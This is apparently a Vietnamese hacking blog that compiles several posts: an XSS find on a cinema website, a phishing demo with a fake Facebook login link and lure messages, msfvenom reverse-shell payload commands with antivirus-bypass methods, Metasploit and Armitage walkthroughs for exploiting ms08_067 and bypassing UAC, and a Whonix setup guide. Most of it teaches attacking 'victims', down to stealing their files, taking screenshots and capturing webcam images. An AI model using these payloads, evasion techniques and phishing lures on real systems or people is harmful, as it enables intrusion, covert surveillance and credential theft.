Tôi đã tìm ra XSS được BHD Cinema như thế nào

*Lưu ý: Mọi ảnh chụp màn hình đều được viết vào thời điểm hiện tại
Hôm nay tôi sẽ viết về lỗ hổng XSS của BHD Cinema. Vụ này khiến tôi nhớ đến vụ hack Lotte Cinema cách đây không lâu. Chuyện là như thế này. Hôm mùng 4 Tết, tôi đang đi tìm một bộ phim nào đó hay hay để đi xem với bạn. Lên Google search xem rạp gì hay không nào.

Hmmm rạp BHD ngay trên Vincom Phạm Ngọc Thạch tiện đường cho chúng tôi quá ngay dưới là Starbuck. Vào thử chọn phim nào

Web được cái design đẹp đấy vào đăng kí rồi chọn phim thôi
Thôi kệ đã. Bây giờ cái chính là vào đăng kí đặt vé đã không hết chỗ ngon bây giờ ^^
Vào đăng kí nhập hết thông tin thì mình nhận được thông báo

Số đã được đăng kí? Từ khi nào ý nhỉ ? Mình sực nhớ ra trước đây cũng đã định order vé rạp nhưng xong thôi do không đi được. Bỏ qua chuyện cá nhân :v Xem có phim gì hay đã. Thói quen của mình là xóa link đi để vào trang chủ

Cái gì đây thế này :v Môt ý tưởng lóe lên :v Thử thay sau error= nào

Quả không sai :v Error báo về cũng khác

Vậy không còn nghi ngờ gì nữa trang này đã bị dính XSS :v Để chắc chắn thử lại với alert nhé :v

Vậy ra hẳn XSS rồi :v

Mình đã kiểm tra mức độ thiệt hại thì thấy do đặt vé qua 123phim nên thiệt hại về tài sản của user gần như không có(123phim mình đã có kiểm tra và thấy HTTPS của nó theo kiểu giả cầy :) ) Vậy là một số người xấu có thể lợi dụng lỗ hổng này để cài virus, lừa đảo, chôm Cookie(:v Có acc này cũng chẳng làm gì ngoài xem mấy cái lịch sử vé phim)

Timelines report lỗi:

Tối mùng 3 Tết: Đã phát hiện ra lỗ hổng báo mật XSS khá nghiêm trọng(Do lộ liễu) trên bhdstar.vn ngay sau đó đã post bài lên J2TeaM Community

Ngày mùng 4 Tết: Đã gọi điện lên BHD trong HCM báo cáo bug. Tổng đài viên nói chuyện một cách thiếu lịch sự -> Coi đây là trò đùa -> Báo sẽ gọi lại ngay sau khi kiểm tra xong cũng không kiểm tra lại

Ngày 2/2 lịch dương: Admin rep inb trên fanpage

Ngày 5/2: Lai report lại :) Và bảo sẽ fix đến giờ chưa fix

Tấn công giả mạo (Phishing)

Xin chào các bạn

Hôm nay mình cùng các bạn sẽ đi tìm hiểu về Tấn công giả mạo hay còn gọi là Phishing

Tấn công giả mạo (thuật ngữ gốc tiếng Anh: phishing, biến thể từ fishing, nghĩa là câu cá, có thể ảnh hưởng từ chữ phreaking, nghĩa là sử dụng điện thoại người khác không trả phí, ám chỉ việc "nhử" người dùng tiết lộ thông tin mật), trong lĩnh vực bảo mật máy tính, là một hành vi giả mạo ác ý nhằm lấy được các thông tin nhạy cảm như tên người dùng, mật khẩu và các chi tiết thẻ tín dụng bằng cách giả dạng thành một chủ thể tin cậy trong một giao dịch điện tử. Các giao dịch thường dùng để đánh lừa những người dùng ít đa nghi là các giao dịch có vẻ xuất phát từ các website xã hội phổ biến, các trung tâm chi trả trực tuyến hoặc các quản trị mạng. Tấn công giả mạo thường được thực hiện qua thư điện tử hoặc tin nhắn nhanh, và hay yêu cầu người dùng nhập thông tin vào một website giả mạo gần như giống hệt với website thật. Ngay cả khi có sử dụng chứng thực máy chủ, có khi vẫn phải cần vài kĩ năng phức tạp mới xác định được website là giả mạo. Tấn công giả mạo là một đơn cử của những kĩ thuật lừa đảo qua mạng (social engineering) nhằm đánh lừa người dùng, và khai thác sự bất tiện hiện nay của công nghệ bảo mật web. Để chống lại hình thức tấn công lừa đảo ngày càng tăng, người ta đã nỗ lực hoàn chỉnh hành lang pháp lý, huấn luyện cho người dùng, cảnh báo công chúng, và tăng cường an ninh kĩ thuật.

Một kĩ thuật tấn công lừa đảo đã được mô tả chi tiết vào năm 1987, và thuật ngữ "phishing" được ghi nhận sử dụng lần đầu tiên vào năm 1996.

Và mình sẽ DEMO 1 ví dụ liên quan tới Phishing
Tên VD: Lừa đảo qua Facebook
Bước 1: Hacker tạo ra 1 trang đăng nhập Facebook giả mạo
DEMO link: https://nguyenanhkietlocalhost.000webhostapp.com/index.htm
Bước 2: Tìm 1 Victim, ở đây victim tên là Bùi Trọng Châu (Thực ra chỉ là nick Clone của mình thôi)

Bước 3: Sử dụng kĩ thuật lừa đảo qua mạng (social engineering). Bạn có thể xem cuộc trò chuyện phía dưới

• Hey
• I have something Amazing for you
• A FREE VPS with 32GB RAM and 1Gbps Network
• Click this link and Login with your Facebook Account
• https://nguyenanhkietlocalhost.000webhostapp.com/index.htm

Dịch ra Tiếng Việt

• Chào bạn
• Mình có một tin sốc cho bạn đây
• Một cái máy chủ ảo miễn phí với 32GB RAM và băng thông 1Gbps
• Click link này và đăng nhập bằng tài khoản Facebook của bạn
• https://nguyenanhkietlocalhost.000webhostapp.com/index.htm

Phân tích cuộc trò chuyện trên

Đầu tiên hacker sẽ chào hỏi thông thường, rồi tuyên bố tôi có một tin sốc cho bạn, khiến victim cảm thấy thích thú

Và hacker tung ngay tin sốc ra

• Một cái máy chủ ảo miễn phí với 32GB RAM và băng thông 1Gbps

Dân IT chúng ta nghe nói vậy ai mà chả thích, OK, vậy là làm theo chỉ dẫn thôi (Click link này và login bằng tài khoản Facebook của bạn). Kết cục là, tài khoản Facebook rơi vô túi bọn hacker

Phòng chống ra sao?

- Hình thành và giữ thói quen khi login, nhìn lên thanh địa chỉ một lần

- Nắm vững nguyên tắc sau

KHÔNG AI CHO KHÔNG AI BẤT CỨ THỨ GÌ

File mã độc bị Antivirus phát hiện? Cách tạo file mã độc Bypass Antivirus

Xin chào các bạn

Việc tạo một file chương trình chứa mã độc là một việc làm CỰC KÌ dễ, chỉ cần chạy đoạn code này trên Kali thì sau khoảng 30s các bạn sẽ có ngay 1 file mã độc, cực kì thuận tiện đúng không nào
CODE: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=8080 -f exe > /root/Desktop/Privilege Escalation.exe

NHƯNG

Nếu đơn giản thế thì tôi khỏi phải viết bài này, cái đau đầu ở đây là File này vừa copy vô máy Victim, thằng cờ hó Antivirus (AV) nó đã nhảy ra nuốt sống

Thời bây giờ, 10 ông thì 8 ông xài Antivirus, chưa kể Windows 8.1 và Windows 10 được tích hợp sẵn trình diệt Virus mặc định Windows Defener

Đau não chưa

Vậy, làm sao để Bypass nó đây

Trên kênh Youtube của tôi đã có một số Video về vấn đề này, mời các bạn coi

Trước khi coi, các bạn hãy làm quen với thuật ngữ chỉ số FUD (Fully Undetectable) Chỉ số này càng cao thì khả năng bypass càng lớn

Tất cả các file mã độc dều được tôi kiểm tra bằng Virus Total

1. Sử dụng kĩ thuật PowerShell Injection, cách này là thực thi một đoạn mã độc Powershell trên máy victim. Tỉ lệ FUD (99%)

2. Sử dụng Unicorn. Cách này gần như tương tự cách 1 (Cũng là thực thi một đoạn mã độc Powershell trên máy victim. ). Tỉ lệ FUD (99%)

3. Sử dụng Reserve0x1. Tỉ lệ FUD (96%)

4. Kết hợp giữa Powershell Attack+ Apache2+ một chút về code . Tỉ lệ FUD (100%)

5. Sử dụng Python . Tỉ lệ FUD (96%)

6. Sử dụng Auto IT (Tỉ lệ FUD 80%)

Giới thiệu về máy tính phục cho việc thực hành và luyện thi chứng chỉ CEH v9

Chào các bạn

Bài này được mình dịch từ cuốn CEHv9 Lab Setup Guide (Cuốn sách hướng dẫn cách thiết lập phòng học cho những trung tâm đào tạo chứng chỉ CEH). Cuốn sách này dày 576 trang tuy nhiên mình chỉ trích dẫn những vấn đề cơ bản nhất cho các bạn tìm hiểu

Nếu sau này các bạn đi luyện thi CEH thì mình chắc là các bạn sẽ được dùng những chiếc máy cấu hình được mình mô tả dưới đây

I. Yêu cầu về phần cứng dành cho máy phục vụ việc luyện thi CEH

• Chip Intel Dual Core hoặc tương đương với tốc độ tối đa là 3.2 GHz
• 8GB RAM (Tốt hơn là 16GB)
• Ổ đĩa 250GB 7200 RPM
• Ổ đĩa DVD R/W
• 1 Card mạng (Tối thiểu 10/100 NIC)
• Màn hình 15inch (Tốt hơn là 17 inch)
• Kết nối Internet
• BIOS được cài đặt để Boot từ ổ C
• USB hoặc Card Wifi

II. Các phần mềm

• Hệ điều hành dành cho máy thật: Windows Server 2012 R2 (Vá lỗi đầy đủ)
• MS SQL Server 2012
• IIS 7.0
• . NET Framework 4 hoặc mới hơn
• Acrobat Reader phiên bản mới nhất
• Trình duyệt Web: IE, Firefox, Chrome
• Trình điều khiển WinPcap
• Trình điều khiên AirPcap phục vụ việc bắt gói tin qua Wifi
• Microsoft Office 2010
• Notepad++ và file reg Cmdhere được Add vào Registry
• Phần mềm tạo máy ảo: Hyper-V
• Máy ảo Windows 8.1 được vá lỗi đầy đủ
• Máy ảo Windows 7 được vá lỗi đầy đủ
• Máy ảo Windows 2008 Server 64bit SP1 được vá lỗi đầy đủ
• Kali Linux được vá lỗi đầy đủ
• Andorid
• Ubuntu 12.04.4

Share Full Tut Tricks Facebook ( Past 4 ) Nhân Dịp Blog Đạt 300k View

Dưới đây là full tut nhé :) các bạn download về và dùng.Ai cần thêm ib mình
 ( fb.com/chu.minh.nam.wall )
                                                                               
                                                                                   DEMO
                                                                             DOWNLOAD

Kĩ thuật Privilege Escalation (Leo thang đặc quyền) khi tấn công một máy Windows

Chào các bạn

Thông thường khi thâm nhập vào một hệ thống (Từ Windows 7 trở lên) bạn chỉ có quyền là 1 user
Nhưng, một số tác vụ đặc biệt yêu cầu quyền Administrator vì vậy các bạn phải thực hiện kĩ thuật leo thang đặc quyền

Đầu tiên các bạn phải có được meterpreter session. Các bạn có thể xem cách thức thực hiện ở các bài trong khóa học Hacking With Kali Linux

Các bạn có thể kiểm tra quyền của các bạn bằng cách gõ lệnh meterpreter: getsystem. Nếu báo lỗi thì buộc lòng các bạn phải thực hiện kĩ thuật Privilege Escalation

Ở đây tôi dùng msfvenom và Armitage để tấn công (Hướng dẫn cho bạn nào chưa biết xài Armitage)

Trong ví dụ này tôi đã tấn công vào 1 máy chạy Windows 7 và đã có phiên meterpreter. Giờ tôi sẽ gõ getsystem xem sao

Thật không may, Armitage đã báo lỗi, do đó chúng ta buộc lòng thực hiện kĩ thuật Privilege Escalation

Ở trong Armitage các bạn chuyển sang tab Console còn ở Metasploit FrameWork các bạn gõ lệnh Background và nhập các lệnh sau

use exploit/windows/local/bypassuac_injection
set SESSIONS (Nhập mã phiên Meterpreter của bạn, thường là nếu bạn chỉ tấn công một máy thì gõ set SESSIONS 1)
set TARGETS 0 với máy Victim là Windows 32bit
hoặc
set TARGETS 1 với máy Victim là Windows 64bit
run (Thực thi Module)

Một phiên Meterpreter thứ 2 được mở ra (meterpreter session 2 opened) giờ chúng ta gõ lệnh shell để mở CMD của victim xem sao

Vâng, chúng ta đã có CMD quyền Admin. Chúc các bạn thành công

Video DEMO quá trình tấn công

Armitage-Công cụ hữu ích cho những ai ghiền Metasploit Framework

Chào các bạn

Như các bạn đã các biết, Metasploit framework là một công cụ rất hữu hiệu trong thử nghiệm thâm nhập. Nhưng nhược điểm của công cụ Metasploit Framework là chúng ta sẽ phải gõ lệnh, và khi thâm nhập được rồi thì số lệnh meterpreter còn khá ít và một số kĩ thuật nếu gõ lệnh sẽ phải thực hiện khá chật vật (Như kĩ thuật ăn cắp file chẳng hạn)

Hôm nay mình sẽ giới thiệu với các bạn công cụ Armitage, công cụ này sẽ giúp các bạn giải quyết hết những điều trên

I. Khởi chạy công cụ Armitage
B1: Mở Terminal lên và gõ Armitage

B2: Nhấp Connect và bấm Yes

B3: Thường là các bạn khi chạy Armitage lần đầu sẽ gặp 2 lỗi cơ bản sau. Xem video của mình để biết cách fix
1. Lỗi Could not connect to database

2. Lỗi MSF DATABASE CONFIG

B4: Chờ một chút và giao diện Armitage sẽ xuất hiện như hình

II. Làm quen với giao diện Armitage

III. DEMO các kĩ thuật tấn công sử dụng Armitage
1. Kĩ thuật khai thác lỗ hổng Windows (DEMO với lỗ hổng ms_08_067_netapi)
Nếu chúng ta dùng Metasploit Framework thì chúng ta cần gõ các lệnh sau. Mình chia thành 3 quá trình
Quá trình 1: Lựa chọn lỗ hổng
use payload/windows/meterpreter/reverse_tcp
use exploit/windows/smb/ms08_067_netapi
Quá trình 2: Cung cấp thông tin (Ở đây chính là RHOST-IP của victim)
set RHOST victim IP
Quá trình 3: Nhập lệnh để bắt đầu tấn công
exploit

Và đây là các bước khi chúng ta sử dụng Armitage
Giai đoạn 1: Lựa chọn lỗ hổng ở khung bên trái dưới dạng các Folder (/exploit/smb.ms08_067_netapi)

Giai đoạn 2: Nhấp đúp chuột vào tên lỗ hổng để hiện ra bảng nhập thông tin. Và cung cấp các thông tin còn thiếu (RHOST) hoặc chỉnh sửa các thông tin khác cho đúng

Giai đoạn 3: Nhấp Launch để bắt đầu việc tấn công, khi đó quá trình tấn công sẽ được diễn ra hoàn toàn tự động

Khi đó máy bị tấn công sẽ chuyển sang màu đỏ và có tia sét bao quanh

Giờ đây chúng ta có thể thực hiện các lệnh khai thác mà mình sẽ nói tới ở phần sau

2. Kĩ thuật tấn công sử dụng mã độc, backdoor (Bài 6 đến bài 9 Khóa học Hacking With Kali Linux)

Thông thường thì bài tấn công nào dùng mã độc mình cũng chia làm hai giai đoạn

Giai đoạn 1: Dùng các công cụ (msfvenom, unicorn, setoolkit) để tạo ra file chứa mã độc. Giai đoạn này các bạn làm bình thường

Giai đoạn 2: Giai đoạn đưa backdoor vào máy victim và thực thi:

Thông thường ở giai đoạn này bạn sẽ phải gõ các lệnh sau

use exploit/multi/handler (Chọn Exploit)
set PAYLOADS windows/meterpreter/reverse_tcp (Chọn Payload)
set LPORT 8080 (Đặt cổng của máy mình)
set LHOST MyIP (Nhập IP máy mình)
exploit -j (Kích hoạt tấn công)

Và đây là các bước khi các bạn làm ở Arimtage
Chọn Exploit: Các bạn mở theo đường dẫn exploit/multi/handler

Các bạn nhấp đúp vào mục handler để ra bảng khai báo thông tin

Các bạn khai báo các thông số (LHOST, LPORT, PAYLOAD) sao cho phù hợp với hình thức tấn công bạn đang sử dụng
Chẳng hạn, mình tạo file mã độc bằng lệnh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > /root/Desktop/Backdoor.exe
Thì mình khai báo như sau
LHOST: 192.168.15
LPORT: 8080
Payload: windows/meterpreter/reverse_tcp
Sau cùng các bạn bấm Launch khi đó Armitage sẽ tự động gõ các lệnh tấn công cho bạn

Khi Victim chạy file mã độc lên, biểu tượng máy victim sẽ chuyển sang màu đỏ như thế này

Khi đó các bạn bắt đầu có thể thực hiện các lệnh khai thác mình viết ở phần sau rồi

IV. Khai thác một máy ảo đã bị tấn công bằng Armitage

1. Interact (Tương tác)

Bạn phải chuột vào biểu tượng máy Victim chọn Interact

- Command Shell: Mở Command Promport trên máy Victim

-Meterpreter Shell: Mở phiên Meterpreter

Các bạn có thể xem các lệnh Meterpreter tại đây: Tổng hợp các lệnh Meterpreter
-Desktop (VNC): Điều khiển từ xa máy Victim.
B1: Khi Click vào Desktop (VNC) thì nó sẽ cho các ban 1 thông báo, bạn ghi lại chỗ IP và Port được khoanh đỏ (Có dạng 127.0.0.1:xxxx)

B2: Truy cập trang https://www.realvnc.com/download/vnc/ Chọn hệ điều hành là Linux. Download phiên bản Generic x86 hay x64 là còn tùy máy bạn 32bit hay 64bit

B3:Download về, xả nén ra và kéo thả file VNC Viewer vào Terminal rồi bấm Enter để chạy

B4: Gõ IP mà Armitage cho bạn vào

B4: Chọn Continue

B5: Xong

2. Explore (Khám phá)
Bạn phải chuột vào biểu tượng máy Victim chọn Explore

- Browse Files: Tìm kiếm và ăn cắp file trong máy victim

- Show Processes: Xem các tiến trình trong máy Victim

-Screenshot: Chụp lại ảnh màn hình Victim

- Webcam Shot: Chụp lại Webcam của Victim


KẾT BÀI

Nói chung, sử dụng Armitage không khó với những bạn nào đã thành thạo Metasploit Framework.

Bài viết tiếp theo có lẽ mình sẽ hướng dẫn các bạn vê Privilege Escalation (Leo thang đặc quyền Admin). Đây cũng chính là thứ gây ra lỗi khi các bạn thực hiện các lệnh tấn công trên hệ thống từ Windows 7 trở lên

Chúc các bạn thành công

Hướng dẫn cài đặt và lướt web ẩn danh với hệ điều hành Whonix OS

Chào các bạn

Whonix OS là một hệ điều hành tuyệt vời giúp chúng ta có thể ẩn danh khi duyệt web trên Internet với các tính năng

• Xây dựng trên mạng ẩn danh Tor: (Tor là phần mềm máy tính có chức năng xóa dấu vết, ẩn địa chỉ [IP] xuất xứ của máy truy cập Internet khi gửi hay nhận thông tin qua mạng Internet. Các thông tin trao đổi qua Tor được mã hóa và truyền qua nhiều máy chủ trung gian khác nhau. Nếu một máy trung gian Tor bị truy cập trộm, kẻ trộm cũng không thể đọc được các thông tin của người sử dụng do các thông tin đã được mã hóa.)
• Tính độc lập: Chỉ có những kết nối qua Tor mới được chấp thuận. Còn lại sẽ bị chặn tất cả các kết nối
• Tính tương thích cao: Tương thích với cả Windows, Mac OS, Linux
• Xây dựng trên nền tảng máy ảo: Do đó bạn sẽ không phải rời bỏ hệ điều hành yêu thích của mình

Lưu ý: Do mạng Tor hoạt động thông qua nhiều máy chủ trung gian và liên tục thay đổi các máy chủ này nên khi sử dụng phần mềm Tor tốc độ truy cập Internet có thể sẽ bị chậm hơn so với bình thường, để khắc phục phần nào nhược điểm này người ta đang tìm cách nâng cấp hệ thống máy chủ.

Đây là 1 công cụ tuyệt vời cho những ai muốn tìm hiểu về DeepWeb

Tìm hiểu thêm về mạng Tor: http://www.pcworld.com.vn/articles/cong-nghe/lam-the-nao/2014/09/1236166/tor-browser-trinh-duyet-giup-an-danh-tren-mang/

I. Chuẩn bị

- Vitural Box: Tất nhiên rồi, vì Whonix được xây dựng trên máy ảo mà: Downloads

(Các bạn buộc lòng phải dùng Vitural Box. Vì nó sẽ không chạy trên VMWare)

- 2 file máy ảo Whonix Gateway và Whonix Workstation: Download

+Whonix Gateway: Máy ảo có nhiệm vụ kết nối vào mạng Tor:

+Whonix Workstation: Máy ảo có chức năng cung cấp giao diện người dùng

Mô hình kết nối mạng của Whonix

II. Cài đặt

B1: Các bạn cài Vitural Box vào máy và bật lên

B2: Bấm tổ hợp phím Ctrl+I để xuất hiện bảng sau

B3: Duyệt tới 2 file máy ảo vừa Download về và Click Next

B4: Click Import

B5: Chọn Agree và Chờ nó Import. 

Sau khi Import xong sẽ có 2 máy ảo sau đây

B6: Bật 2 máy ảo đó lên ĐỒNG THỜI (Nếu không thì bạn bật Gateway trước và Workstation sau)

B7: Click icon ổ đĩa để login

B8: Hình ảnh 2 máy sau khi login

II. Thiết lập ban đầu
Các bạn nhìn hình và tự thiết lập ở cả hai máy nhé. Chủ yếu là Next thôi

Lưu ý. nếu bạn thiết lập máy Workstation xong trước máy Gateway thì sẽ có lỗi sau. Kệ nó. Tắt nó đi

Sau khi thiết lập xong, máy Gateway có thông báo như thế này thì các bạn có thể thu nhỏ máy Gateway xuống được rồi. Từ sau thì các bạn chỉ cần bật máy Gateway lên trước sau đó bật máy Workstation lên và thu nhỏ máy Gateway xuống Taskbar (Lưu ý ko được Tạm dừng hay tắt nhé). Từ bước này chúng ta chỉ tập trung ở máy Workstation

III. Cài đặt trình duyệt Tor và lướt web ẩn danh (Thao tác trên máy Workstation)
B1: Chạy Tor Browser lên

B2: Lần đầu tiên khởi động sẽ có thông báo này. Bạn click Yes

B3: Whonix đang kiểm tra nối kết

B4: Các bạn chọn lựa phiên bản hoặc cứ để mặc định và Click Yes

 B5: Chờ Tor Browser download về. Bật lên và tận hưởng thôi

Bonus thêm cho các ban nào muốn vọc vạch hơn về Whonix. Các bạn có thể vô trang sau đây để đọc và tìm thêm tài liệu: https://anonguide.cyberguerrilla.org/